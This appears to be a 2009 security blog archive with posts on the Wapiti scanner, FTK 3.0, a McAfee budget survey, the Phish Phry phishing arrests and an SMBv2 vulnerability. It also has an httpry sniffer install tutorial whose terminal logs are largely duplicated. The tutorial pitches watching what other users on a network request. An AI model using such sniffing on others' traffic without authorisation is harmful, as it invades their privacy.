* File Handling Errors (Local and remote include/require, fopen, readfile...)
* Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)
* XSS (Cross Site Scripting) Injection
* LDAP Injection
* Command Execution detection (eval(), system(), passtru()...)
* CRLF Injection (HTTP Response Splitting, session fixation...)
Wapiti is able to differentiate ponctual and permanent XSS vulnerabilities.
Wapiti prints a warning everytime it founds a script allowing HTTP uploads.
A warning is also issued when a HTTP 500 code is returned (useful for ASP/IIS)
Wapiti does not rely on a vulnerability database like Nikto do. Wapiti aims to discover unknown vulnerabilities in web applications.
It does not provide a GUI for the moment and you must use it from a terminal.
You can download here:
http://sourceforge.net/projects/wapiti/
Small, medium firms cut security budgets
Small and medium businesses have, for the most part, frozen spending on security, despite an increase in perceived threats, according to a survey released this week by security firm McAfee.
The report, McAfee's first study of the small- and medium-sized business market, analyzes surveys from approximately 100 companies in each of nine different countries, focusing on firms with 51 to 1,000 employees. The surveys found that three-quarters of firms decided to cut or freeze their spending on information security in 2009, and two-thirds of companies spent less than three hours a week on security.
Read more at SecurityFocus
The report, McAfee's first study of the small- and medium-sized business market, analyzes surveys from approximately 100 companies in each of nine different countries, focusing on firms with 51 to 1,000 employees. The surveys found that three-quarters of firms decided to cut or freeze their spending on information security in 2009, and two-thirds of companies spent less than three hours a week on security.
Read more at SecurityFocus
Saturday, October 24, 2009
FTK 3.0 Forensic Toolkit
FTK 3.0 delivers on a number of advanced capabilities, including greatly enhanced analytics, remote device acquisition and expanded reporting options. GUI speeds and processing time have also been dramatically improved.
Reengineered for Improved Performance:
* UI Performance: The FTK GUI is 10 times more responsive across the board, even on machines with only 4GB of RAM.
* Indexing: Indexes quickly and search results populate fast, even with large result sets.
* Distributed Processing: Every copy of FTK 3 comes with 4 workers, allowing you to leverage CPU resources from up to 4 computers (3 distributed workers and 1 worker on the main FTK examiner system).
Compelling New Capabilities:
* RAM Analysis: Enumerate all running processes from 32-bit machines, search memory strings, and process RAM captures for passwords, html pages, lnk files and MS Office documents.
* Mac Analysis: Many new capabilities, such as processing B-Trees attributes for metadata, decrypting Sparse Images or Sparse Bundles, PLIST support, SQLite support and more.
* Pornographic Image Identification: Enables the automated detection and identification of pornographic images by analyzing visual features in the image to assess its actual visual content.
Reengineered for Improved Performance:
* UI Performance: The FTK GUI is 10 times more responsive across the board, even on machines with only 4GB of RAM.
* Indexing: Indexes quickly and search results populate fast, even with large result sets.
* Distributed Processing: Every copy of FTK 3 comes with 4 workers, allowing you to leverage CPU resources from up to 4 computers (3 distributed workers and 1 worker on the main FTK examiner system).
Compelling New Capabilities:
* RAM Analysis: Enumerate all running processes from 32-bit machines, search memory strings, and process RAM captures for passwords, html pages, lnk files and MS Office documents.
* Mac Analysis: Many new capabilities, such as processing B-Trees attributes for metadata, decrypting Sparse Images or Sparse Bundles, PLIST support, SQLite support and more.
* Pornographic Image Identification: Enables the automated detection and identification of pornographic images by analyzing visual features in the image to assess its actual visual content.
Friday, October 09, 2009
Installing httpry in Backtrack 4
httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications.
What can you do with it? Here's a few ideas:
* See what users on your network are requesting online
* Check for proper server configuration (or improper, as the case may be)
* Research patterns in HTTP usage
* Watch for dangerous downloaded files
* Verify the enforcement of HTTP policy on your network
* Extract HTTP statistics out of saved capture files
* It's just plain fun to watch in realtime
Download httpry from this site:
root@zaha-desktop:~# wget http://dumpsterventures.com/jason/httpry/httpry-0.1.5.tar.gz
--2009-10-09 22:45:48-- http://dumpsterventures.com/jason/httpry/httpry-0.1.5.tar.gz
Resolving dumpsterventures.com... 198.107.5.17
Connecting to dumpsterventures.com|198.107.5.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44995 (44K) [application/x-tgz]
Saving to: `httpry-0.1.5.tar.gz'
100%[===================================================>] 44,995 39.3K/s in 1.1s
2009-10-09 22:45:50 (39.3 KB/s) - `httpry-0.1.5.tar.gz' saved [44995/44995]
After you download, you extract it:
root@zaha-desktop:~#
root@zaha-desktop:~# tar -xzvf httpry-0.1.5.tar.gz
httpry-0.1.5/
httpry-0.1.5/format.h
httpry-0.1.5/format.c
httpry-0.1.5/error.h
httpry-0.1.5/utility.c
httpry-0.1.5/Makefile
httpry-0.1.5/build/
httpry-0.1.5/build/httpry.spec
httpry-0.1.5/scripts/
httpry-0.1.5/scripts/parse_log.pl
httpry-0.1.5/scripts/perl-tools
httpry-0.1.5/scripts/plugins/
httpry-0.1.5/scripts/plugins/db_dump.mysql
httpry-0.1.5/scripts/plugins/find_proxies.pm
httpry-0.1.5/scripts/plugins/db_dump.cfg
httpry-0.1.5/scripts/plugins/content_analysis.pm
httpry-0.1.5/scripts/plugins/hostnames.pm
httpry-0.1.5/scripts/plugins/tokenize.pm
httpry-0.1.5/scripts/plugins/search_terms.pm
httpry-0.1.5/scripts/plugins/find_proxies.cfg
httpry-0.1.5/scripts/plugins/log_summary.pm
httpry-0.1.5/scripts/plugins/xml_output.css
httpry-0.1.5/scripts/plugins/hostnames.cfg
httpry-0.1.5/scripts/plugins/xml_output.pm
httpry-0.1.5/scripts/plugins/common_log.pm
httpry-0.1.5/scripts/plugins/xml_output.cfg
httpry-0.1.5/scripts/plugins/db_dump.pm
httpry-0.1.5/scripts/plugins/content_analysis.cfg
httpry-0.1.5/scripts/plugins/tokenize.cfg
httpry-0.1.5/scripts/plugins/search_terms.cfg
httpry-0.1.5/scripts/plugins/common_log.cfg
httpry-0.1.5/scripts/plugins/sample_plugin.pm
httpry-0.1.5/scripts/plugins/log_summary.cfg
httpry-0.1.5/methods.h
httpry-0.1.5/tcp.h
httpry-0.1.5/doc/
httpry-0.1.5/doc/ChangeLog
httpry-0.1.5/doc/method-string
httpry-0.1.5/doc/README
httpry-0.1.5/doc/COPYING
httpry-0.1.5/doc/format-string
httpry-0.1.5/doc/perl-tools
httpry-0.1.5/httpry.c
httpry-0.1.5/rc.httpry
httpry-0.1.5/README
httpry-0.1.5/httpry.1
httpry-0.1.5/config.h
httpry-0.1.5/utility.h
httpry-0.1.5/methods.c
httpry-0.1.5/test/
httpry-0.1.5/test/callgrind
httpry-0.1.5/test/massif
httpry-0.1.5/test/valgrind
httpry-0.1.5/test/format-names
root@zaha-desktop:~# cd httpry-0.1.5
root@zaha-desktop:~/httpry-0.1.5# ls
build doc format.c httpry.1 Makefile methods.h README tcp.h utility.c
config.h error.h format.h httpry.c methods.c rc.httpry scripts test utility.h
root@zaha-desktop:~/httpry-0.1.5#
After you download, read the manual about installing and using httpry:
root@zaha-desktop:~/httpry-0.1.5# less README
root@zaha-desktop:~/httpry-0.1.5#
After reading documentation, you can install it:
root@zaha-desktop:~/httpry-0.1.5# make
gcc -Wall -O3 -funroll-loops -I/usr/include/pcap -I/usr/local/include/pcap -o httpry httpry.c format.c methods.c utility.c -lpcap
root@zaha-desktop:~/httpry-0.1.5# make install
--------------------------------------------------
Installing httpry into /usr/sbin/
You can move the Perl scripts and other tools to
a location of your choosing manually
--------------------------------------------------
cp -f httpry /usr/sbin/
cp -f httpry.1 /usr/man/man1/ || cp -f httpry.1 /usr/local/man/man1/
root@zaha-desktop:~/httpry-0.1.5#
Running httpry (httpry -h show you how to use it)
root@zaha-desktop:~# httpry -i eth0 -o /home/zahar/zahar.txt
httpry version 0.1.5 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2009 Jason Bittel
Starting capture on eth0 interface
Writing output to file: /home/zahar/zahar.txt
^CCaught SIGINT, shutting down...
216 packets received, 0 packets dropped, 40 http packets parsed
563.5 packets/min, 104.3 http packets/min
root@zaha-desktop:~#
When you open that file, you can see http traffic of website that you have visited:
root@zaha-desktop:~# cd /home/zahar/
root@zaha-desktop:/home/zahar# ls
zahar.txt
root@zaha-desktop:/home/zahar# cat zahar.txt
# httpry version 0.1.5
# Fields: timestamp,source-ip,dest-ip,direction,method,host,request-uri,http-version,status-code,reason-phrase
2009-10-09 23:07:07 69.63.176.193 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:07 192.168.1.2 69.63.176.193 > GET 0.channel33.facebook.com /x/2319999860/false/p_1560360253=1 HTTP/1.1 --
2009-10-09 23:07:16 192.168.1.2 74.125.153.95 > GET ajax.googleapis.com /ajax/services/search/web?v=1.0&rsz=large&q=http%3A%2F%2Fwww.lifedork.net%2F HTTP/1.1 - -
2009-10-09 23:07:16 74.125.153.95 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:17 192.168.1.2 174.120.81.182 > GET www.lifedork.net / HTTP/1.1 - -
2009-10-09 23:07:17 174.120.81.182 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:18 192.168.1.2 72.21.91.20 > GET resources.infolinks.com /js/infolinks_main.js HTTP/1.1 - -
2009-10-09 23:07:19 72.21.91.20 192.168.1.2 < - - -HTTP/1.1 304 Not Modified
2009-10-09 23:07:19 192.168.1.2 72.14.203.101 > GET www.google-analytics.com /__utm.gif?utmwv=4.5.7&utmn=84770406&utmhn=www.lifedork.net&utmcs=UTF-8&utmsr=1024x768&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=10.0%20r32&utmdt=Lifedork%20-%20still%20geeX%20%3F%20still%20suX%20!&utmhid=1381620066&utmr=-&utmp=%2F&utmac=UA-2655140-3&utmcc=__utma%3D41342143.642009118.1255096268.1255096268.1255099260.2%3B%2B__utmz%3D41342143.1255096273.1.1.utmcsr%3Dgoogle%7Cutmccn%3D(organic)%7Cutmcmd%3Dorganic%7Cutmctr%3Dusing%2520Backtrack%25204%2520SQL%2520injection%3B HTTP/1.1 - -
2009-10-09 23:07:19 72.14.203.101 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:19 192.168.1.2 76.74.254.120 > GET stats.wordpress.com /g.gif?host=www.lifedork.net&rand=0.41899971236858347&blog=1730697&v=ext&post=0&ref= HTTP/1.1 - -
2009-10-09 23:07:19 192.168.1.2 174.120.81.182 > GET www.lifedork.net /page/2 HTTP/1.1 - -
2009-10-09 23:07:19 192.168.1.2 67.202.0.15 > GET router.infolinks.com /gsd/1255100950684?callback=resourcesCallback&pid=15399&wsid=0&pdom=www.lifedork.net HTTP/1.1 - -
2009-10-09 23:07:19 76.74.254.120 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 67.202.0.15 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 192.168.1.2 72.21.91.20 > GET resources.infolinks.com /flash/request_manager_i18n.swf HTTP/1.1 - -
2009-10-09 23:07:20 192.168.1.2 58.27.186.106 > GET b.scorecardresearch.com /b?c1=8&c2=6416591&rn=0.4555189644582066&c7=http%3A%2F%2Fwww.lifedork.net%2F&c3=3113409433781933211&c4=&c5=&c6=&c15=&c16=&c8=Lifedork%20-%20still%20geeX%20%3F%20still%20suX%20!&c9=&cv=1.6 HTTP/1.1 - -
2009-10-09 23:07:20 174.120.81.182 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 58.27.186.106 192.168.1.2 < - - -HTTP/1.1 204 No Content
Im not expert in analysis, hope you all can test this tool.
What can you do with it? Here's a few ideas:
* See what users on your network are requesting online
* Check for proper server configuration (or improper, as the case may be)
* Research patterns in HTTP usage
* Watch for dangerous downloaded files
* Verify the enforcement of HTTP policy on your network
* Extract HTTP statistics out of saved capture files
* It's just plain fun to watch in realtime
Download httpry from this site:
root@zaha-desktop:~# wget http://dumpsterventures.com/jason/httpry/httpry-0.1.5.tar.gz
--2009-10-09 22:45:48-- http://dumpsterventures.com/jason/httpry/httpry-0.1.5.tar.gz
Resolving dumpsterventures.com... 198.107.5.17
Connecting to dumpsterventures.com|198.107.5.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44995 (44K) [application/x-tgz]
Saving to: `httpry-0.1.5.tar.gz'
100%[===================================================>] 44,995 39.3K/s in 1.1s
2009-10-09 22:45:50 (39.3 KB/s) - `httpry-0.1.5.tar.gz' saved [44995/44995]
After you download, you extract it:
root@zaha-desktop:~#
root@zaha-desktop:~# tar -xzvf httpry-0.1.5.tar.gz
httpry-0.1.5/
httpry-0.1.5/format.h
httpry-0.1.5/format.c
httpry-0.1.5/error.h
httpry-0.1.5/utility.c
httpry-0.1.5/Makefile
httpry-0.1.5/build/
httpry-0.1.5/build/httpry.spec
httpry-0.1.5/scripts/
httpry-0.1.5/scripts/parse_log.pl
httpry-0.1.5/scripts/perl-tools
httpry-0.1.5/scripts/plugins/
httpry-0.1.5/scripts/plugins/db_dump.mysql
httpry-0.1.5/scripts/plugins/find_proxies.pm
httpry-0.1.5/scripts/plugins/db_dump.cfg
httpry-0.1.5/scripts/plugins/content_analysis.pm
httpry-0.1.5/scripts/plugins/hostnames.pm
httpry-0.1.5/scripts/plugins/tokenize.pm
httpry-0.1.5/scripts/plugins/search_terms.pm
httpry-0.1.5/scripts/plugins/find_proxies.cfg
httpry-0.1.5/scripts/plugins/log_summary.pm
httpry-0.1.5/scripts/plugins/xml_output.css
httpry-0.1.5/scripts/plugins/hostnames.cfg
httpry-0.1.5/scripts/plugins/xml_output.pm
httpry-0.1.5/scripts/plugins/common_log.pm
httpry-0.1.5/scripts/plugins/xml_output.cfg
httpry-0.1.5/scripts/plugins/db_dump.pm
httpry-0.1.5/scripts/plugins/content_analysis.cfg
httpry-0.1.5/scripts/plugins/tokenize.cfg
httpry-0.1.5/scripts/plugins/search_terms.cfg
httpry-0.1.5/scripts/plugins/common_log.cfg
httpry-0.1.5/scripts/plugins/sample_plugin.pm
httpry-0.1.5/scripts/plugins/log_summary.cfg
httpry-0.1.5/methods.h
httpry-0.1.5/tcp.h
httpry-0.1.5/doc/
httpry-0.1.5/doc/ChangeLog
httpry-0.1.5/doc/method-string
httpry-0.1.5/doc/README
httpry-0.1.5/doc/COPYING
httpry-0.1.5/doc/format-string
httpry-0.1.5/doc/perl-tools
httpry-0.1.5/httpry.c
httpry-0.1.5/rc.httpry
httpry-0.1.5/README
httpry-0.1.5/httpry.1
httpry-0.1.5/config.h
httpry-0.1.5/utility.h
httpry-0.1.5/methods.c
httpry-0.1.5/test/
httpry-0.1.5/test/callgrind
httpry-0.1.5/test/massif
httpry-0.1.5/test/valgrind
httpry-0.1.5/test/format-names
root@zaha-desktop:~# cd httpry-0.1.5
root@zaha-desktop:~/httpry-0.1.5# ls
build doc format.c httpry.1 Makefile methods.h README tcp.h utility.c
config.h error.h format.h httpry.c methods.c rc.httpry scripts test utility.h
root@zaha-desktop:~/httpry-0.1.5#
After you download, read the manual about installing and using httpry:
root@zaha-desktop:~/httpry-0.1.5# less README
root@zaha-desktop:~/httpry-0.1.5#
After reading documentation, you can install it:
root@zaha-desktop:~/httpry-0.1.5# make
gcc -Wall -O3 -funroll-loops -I/usr/include/pcap -I/usr/local/include/pcap -o httpry httpry.c format.c methods.c utility.c -lpcap
root@zaha-desktop:~/httpry-0.1.5# make install
--------------------------------------------------
Installing httpry into /usr/sbin/
You can move the Perl scripts and other tools to
a location of your choosing manually
--------------------------------------------------
cp -f httpry /usr/sbin/
cp -f httpry.1 /usr/man/man1/ || cp -f httpry.1 /usr/local/man/man1/
root@zaha-desktop:~/httpry-0.1.5#
Running httpry (httpry -h show you how to use it)
root@zaha-desktop:~# httpry -i eth0 -o /home/zahar/zahar.txt
httpry version 0.1.5 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2009 Jason Bittel
Starting capture on eth0 interface
Writing output to file: /home/zahar/zahar.txt
^CCaught SIGINT, shutting down...
216 packets received, 0 packets dropped, 40 http packets parsed
563.5 packets/min, 104.3 http packets/min
root@zaha-desktop:~#
When you open that file, you can see http traffic of website that you have visited:
root@zaha-desktop:~# cd /home/zahar/
root@zaha-desktop:/home/zahar# ls
zahar.txt
root@zaha-desktop:/home/zahar# cat zahar.txt
# httpry version 0.1.5
# Fields: timestamp,source-ip,dest-ip,direction,method,host,request-uri,http-version,status-code,reason-phrase
2009-10-09 23:07:07 69.63.176.193 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:07 192.168.1.2 69.63.176.193 > GET 0.channel33.facebook.com /x/2319999860/false/p_1560360253=1 HTTP/1.1 --
2009-10-09 23:07:16 192.168.1.2 74.125.153.95 > GET ajax.googleapis.com /ajax/services/search/web?v=1.0&rsz=large&q=http%3A%2F%2Fwww.lifedork.net%2F HTTP/1.1 - -
2009-10-09 23:07:16 74.125.153.95 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:17 192.168.1.2 174.120.81.182 > GET www.lifedork.net / HTTP/1.1 - -
2009-10-09 23:07:17 174.120.81.182 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:18 192.168.1.2 72.21.91.20 > GET resources.infolinks.com /js/infolinks_main.js HTTP/1.1 - -
2009-10-09 23:07:19 72.21.91.20 192.168.1.2 < - - -HTTP/1.1 304 Not Modified
2009-10-09 23:07:19 192.168.1.2 72.14.203.101 > GET www.google-analytics.com /__utm.gif?utmwv=4.5.7&utmn=84770406&utmhn=www.lifedork.net&utmcs=UTF-8&utmsr=1024x768&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=10.0%20r32&utmdt=Lifedork%20-%20still%20geeX%20%3F%20still%20suX%20!&utmhid=1381620066&utmr=-&utmp=%2F&utmac=UA-2655140-3&utmcc=__utma%3D41342143.642009118.1255096268.1255096268.1255099260.2%3B%2B__utmz%3D41342143.1255096273.1.1.utmcsr%3Dgoogle%7Cutmccn%3D(organic)%7Cutmcmd%3Dorganic%7Cutmctr%3Dusing%2520Backtrack%25204%2520SQL%2520injection%3B HTTP/1.1 - -
2009-10-09 23:07:19 72.14.203.101 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:19 192.168.1.2 76.74.254.120 > GET stats.wordpress.com /g.gif?host=www.lifedork.net&rand=0.41899971236858347&blog=1730697&v=ext&post=0&ref= HTTP/1.1 - -
2009-10-09 23:07:19 192.168.1.2 174.120.81.182 > GET www.lifedork.net /page/2 HTTP/1.1 - -
2009-10-09 23:07:19 192.168.1.2 67.202.0.15 > GET router.infolinks.com /gsd/1255100950684?callback=resourcesCallback&pid=15399&wsid=0&pdom=www.lifedork.net HTTP/1.1 - -
2009-10-09 23:07:19 76.74.254.120 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 67.202.0.15 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 192.168.1.2 72.21.91.20 > GET resources.infolinks.com /flash/request_manager_i18n.swf HTTP/1.1 - -
2009-10-09 23:07:20 192.168.1.2 58.27.186.106 > GET b.scorecardresearch.com /b?c1=8&c2=6416591&rn=0.4555189644582066&c7=http%3A%2F%2Fwww.lifedork.net%2F&c3=3113409433781933211&c4=&c5=&c6=&c15=&c16=&c8=Lifedork%20-%20still%20geeX%20%3F%20still%20suX%20!&c9=&cv=1.6 HTTP/1.1 - -
2009-10-09 23:07:20 174.120.81.182 192.168.1.2 < - - -HTTP/1.1 200 OK
2009-10-09 23:07:20 58.27.186.106 192.168.1.2 < - - -HTTP/1.1 204 No Content
Im not expert in analysis, hope you all can test this tool.
Thursday, October 08, 2009
Operation Phish Phry hooks 100 in U.S. and Egypt
Computerworld - More than 50 people in Southern California, Las Vegas and Charlotte, N.C., were indicted by a grand jury in Los Angeles for scheming to steal bank account information from thousands of people in the U.S. using phishing techniques.
U.S. authorities today arrested 33 of those named in the indictments and are on the lookout for the other 20.
In addition, authorities in Egypt charged another 47 co-conspirators in connection with the same scheme, bringing the total number of people charged to 100 -- the largest number of defendants ever charged for the same cybercrime, according to the FBI.
The indictments stem from a two-year operation dubbed "Phish Phry," which involved the FBI, the U.S. Attorney's Office, the Electronic Crimes Task Force in Los Angeles and Egyptian law enforcement authorities.
The arrests were announced in Los Angeles by Keith Bolcar, acting assistant director in charge of the FBI in Los Angeles, George Cardona, acting U.S. Attorney in Los Angeles, and Egyptian law enforcement authorities.
The 51-count indictment, which was unsealed today, accused all of the defendants with conspiracy to commit wire fraud and bank fraud. Some of those named were also charged with aggravated identity theft, unauthorized access to protected computers and money laundering.
Phishing is a form of social engineering in which attackers send e-mails made to look like legitimate correspondence from reputable institutions such as banks. Victims are directed to Web sites that look authentic but are actually fakes. Once there, they are asked to enter information that can later be used to break into accounts or to commit identity theft.
According to the indictment, hackers in Egypt used phishing techniques to obtain bank account numbers and related personal data from thousands of bank customers in the U.S. The information was then used to break into customer accounts at two U.S. banks, Bank of America and Wells Fargo.
The Egyptian hackers then recruited individuals in the U.S. to help transfer funds from the compromised accounts to newly created accounts. The U.S. part of the crime ring was allegedly managed by Kenneth Lucas, Nichole Merzi and Jonathan Clark, all of whom are residents of California, the FBI said in statement.
The three individuals are alleged to have directed associates to recruit "runners" to establish bank accounts to which funds stolen from the compromised accounts could be transferred. A portion of the funds was wired to the conspirators in Egypt.
The alleged conspirators typically withdrew amounts ranging from a few hundred dollars to more than $2,000 from compromised bank accounts and then transferred the money into the new accounts.
"The sophistication with which Phish Phry defendants operated represents an evolving and troubling paradigm in the way identity theft is now committed," Bolcar said in a statement. The operations of the group had a significant impact on the operations of two banks and caused "huge headaches" for the victims, the statement added.
All of the individuals charged in the U.S face prison terms of up to 20 years if they are convicted.
John Harrison, a group product manager for security vendor Symantec Corp. said the arrests highlight the truly global nature of phishing operations. Despite heightened awareness of the problem, phishing schemes continue to thrive on the Internet, he said.
Last year, Symantec counted more than 55,000 phishing sites. That figure represented an increase of more than 60% from 2007 levels, Harrison said. The growing availability of sophisticated phishing tool kits is adding to the problem by making it much simpler for would-be phishers to create spoofed Web sites that can be used to trick victims into parting with confidential information, he said.
U.S. authorities today arrested 33 of those named in the indictments and are on the lookout for the other 20.
In addition, authorities in Egypt charged another 47 co-conspirators in connection with the same scheme, bringing the total number of people charged to 100 -- the largest number of defendants ever charged for the same cybercrime, according to the FBI.
The indictments stem from a two-year operation dubbed "Phish Phry," which involved the FBI, the U.S. Attorney's Office, the Electronic Crimes Task Force in Los Angeles and Egyptian law enforcement authorities.
The arrests were announced in Los Angeles by Keith Bolcar, acting assistant director in charge of the FBI in Los Angeles, George Cardona, acting U.S. Attorney in Los Angeles, and Egyptian law enforcement authorities.
The 51-count indictment, which was unsealed today, accused all of the defendants with conspiracy to commit wire fraud and bank fraud. Some of those named were also charged with aggravated identity theft, unauthorized access to protected computers and money laundering.
Phishing is a form of social engineering in which attackers send e-mails made to look like legitimate correspondence from reputable institutions such as banks. Victims are directed to Web sites that look authentic but are actually fakes. Once there, they are asked to enter information that can later be used to break into accounts or to commit identity theft.
According to the indictment, hackers in Egypt used phishing techniques to obtain bank account numbers and related personal data from thousands of bank customers in the U.S. The information was then used to break into customer accounts at two U.S. banks, Bank of America and Wells Fargo.
The Egyptian hackers then recruited individuals in the U.S. to help transfer funds from the compromised accounts to newly created accounts. The U.S. part of the crime ring was allegedly managed by Kenneth Lucas, Nichole Merzi and Jonathan Clark, all of whom are residents of California, the FBI said in statement.
The three individuals are alleged to have directed associates to recruit "runners" to establish bank accounts to which funds stolen from the compromised accounts could be transferred. A portion of the funds was wired to the conspirators in Egypt.
The alleged conspirators typically withdrew amounts ranging from a few hundred dollars to more than $2,000 from compromised bank accounts and then transferred the money into the new accounts.
"The sophistication with which Phish Phry defendants operated represents an evolving and troubling paradigm in the way identity theft is now committed," Bolcar said in a statement. The operations of the group had a significant impact on the operations of two banks and caused "huge headaches" for the victims, the statement added.
All of the individuals charged in the U.S face prison terms of up to 20 years if they are convicted.
John Harrison, a group product manager for security vendor Symantec Corp. said the arrests highlight the truly global nature of phishing operations. Despite heightened awareness of the problem, phishing schemes continue to thrive on the Internet, he said.
Last year, Symantec counted more than 55,000 phishing sites. That figure represented an increase of more than 60% from 2007 levels, Harrison said. The growing availability of sophisticated phishing tool kits is adding to the problem by making it much simpler for would-be phishers to create spoofed Web sites that can be used to trick victims into parting with confidential information, he said.
Static Binary Analysis of Recent SMBv2 Vulnerability
The recent SMBv2 vulnerability (CVE-2009-3103) in Microsoft Windows has gotten a lot of attention in the past few weeks. We decided that given the publicity and nature of the vulnerability, it would be interesting to post a threat analysis. With the release of Stephen Fewer's Metasploit module to exploit this vulnerability, technical details of the vulnerability are now publicly available.
Details:http://www.secureworks.com/research/threats/windows-0day/?threat=windows-0day
Details:http://www.secureworks.com/research/threats/windows-0day/?threat=windows-0day
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